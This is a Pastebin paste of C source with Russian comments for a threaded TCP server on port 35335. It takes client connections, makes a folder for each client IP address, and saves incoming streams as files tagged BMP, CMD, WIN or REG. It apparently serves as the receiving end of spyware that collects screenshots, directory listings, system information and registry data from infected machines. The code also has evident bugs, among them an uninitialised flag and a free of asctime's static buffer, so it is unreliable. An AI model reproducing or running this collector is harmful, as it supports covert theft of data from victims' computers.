Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <string.h> //strlen
- #include <stdlib.h> //strlen
- #include <sys/socket.h>
- #include <arpa/inet.h> //inet_addr
- #include <unistd.h> //write
- #include <pthread.h> //gcc -pthread -o server server.c
- #include <time.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <string.h>
- #include <unistd.h>
- #include <fcntl.h>
- void *connection_handler(void *);
- int NewFile(char * folder, int sign);
- char * signature[4] = {"[\\BMP]",
- "[\\CMD]",
- "[\\WIN]",
- "[\\REG]",
- };
- struct sockaddr_in temp_addr;
- int main(int argc , char *argv[])
- {
- int socket_desc , client_sock , c;
- struct sockaddr_in server , client;
- socket_desc = socket(AF_INET , SOCK_STREAM , 0);
- server.sin_family = AF_INET;
- server.sin_addr.s_addr = INADDR_ANY;
- server.sin_port = htons(35335);
- if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
- listen(socket_desc , 3);
- c = sizeof(struct sockaddr_in);
- pthread_t thread_id[65535];
- int kek = 0;
- while( (client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c)) )
- {
- puts("\nклиент подключен:\n");
- struct sockaddr_in* pV4Addr = (struct sockaddr_in*)&client;
- struct in_addr ipAddr = pV4Addr->sin_addr;
- char * ipshnik = inet_ntoa(ipAddr);
- puts(ipshnik);
- temp_addr = client;
- if( pthread_create( &thread_id[kek++], NULL , connection_handler , (void*) &client_sock) < 0)
- {
- perror("проблемы с потоками");
- return 1;
- }
- sleep(30); // жду пока функция захавает структуру
- }
- if (client_sock < 0)
- {
- return 1;
- }
- return 0;
- }
- void *connection_handler(void *socket_desc)
- {
- //=======получаю ip
- struct sockaddr_in* pV4Addr = (struct sockaddr_in*)&temp_addr;
- struct in_addr ipAddr = pV4Addr->sin_addr;
- char * ip_address = inet_ntoa(ipAddr);
- //=====
- //------создаю папку
- struct stat st = {0};
- if (stat(ip_address, &st) == -1) {
- mkdir(ip_address, 0700);
- }
- //--------------------------
- int sock = *(int*)socket_desc;
- int read_size;
- char *message , client_message[2000];
- int file_busy = 0;
- int i, first_packet, fh;
- while( (read_size = recv(sock , client_message , 2000 , 0)) > 0 )
- {
- client_message[read_size] = '\0';
- for(i = 0; i<4; i++){
- int result = strcmp((const char *)client_message, signature[i]);
- if(result ==0){ if(file_busy) { fh = 0; file_busy = 0; }
- fh = NewFile(ip_address, i);}
- }
- //пропускаю первый пакет, т.к. в нем отпечаток файла
- if(!first_packet) write(fh, client_message, strlen(client_message));
- first_packet = 0;
- }
- return 0;
- }
- int NewFile(char * folder, int sign)
- {
- char * file_format[4]={".bmp",
- ".dir",
- ".win",
- ".reg"
- };
- char * filename = malloc(255);
- char * path = malloc(255);
- strcpy(path, (const char *)folder);
- struct tm tm = *localtime(&(time_t){time(NULL)});
- filename = asctime(&tm);
- strcat(path, "/");
- strcat(path, (const char *) filename);
- strcat(path, file_format[sign]);
- mode_t mode = O_RDWR | O_CREAT| S_IRUSR | S_IRGRP | S_IROTH;
- int fd = creat(path, mode);
- free(filename);free(path);
- return fd;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement